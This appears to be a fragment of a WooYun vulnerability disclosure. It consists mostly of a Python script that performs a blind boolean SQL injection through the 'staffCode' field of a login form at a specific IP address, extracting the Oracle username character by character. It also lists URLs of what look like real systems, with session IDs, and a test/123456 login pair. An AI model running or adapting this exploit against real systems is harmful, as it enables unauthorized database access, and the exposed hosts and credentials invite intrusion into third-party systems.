WooYun.org

http://134.161.32.140:8020/(S(wnp0nbywuk3sy055pwohmo45))/login.aspx

#! /usr/bin/env python
#-*-coding:utf-8-*-
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive Oracle user:'
user = ''
for i in range(1,5):
    for payload in payloads:
        conn = httplib.HTTPConnection('134.175.25.9', 9001, timeout=30)
        url = ' /uss/loginAction.do?method=login'
        params = urllib.urlencode(
            {'staffCode': '\' or ascii(substr(lower(user), %s, 1))=%s and \'1\'=\'1' % (i, ord(payload)), 
            'staffPwd': '111',
            'ckbMenuId': 'true',
            'menuId': ''
      
            })
        conn.request('POST',
                     url,
                     params,
                     headers)
        html_doc = conn.getresponse().read().decode('GBK')
    
        if html_doc.find(u'密码不正确') > 0:
            user += payload
            print '\n[in progress]', user
            break
        else:
            print '.',
print '\nOracle user is', user

http://134.175.25.9:9001/uss/

http://134.176.1.20:4000/auth!login.do;jsessionid=CA4CF0A2100AE0E96B0B906F6B6AE11C

test/123456

http://134.176.101.10/TFCC10000/index.aspx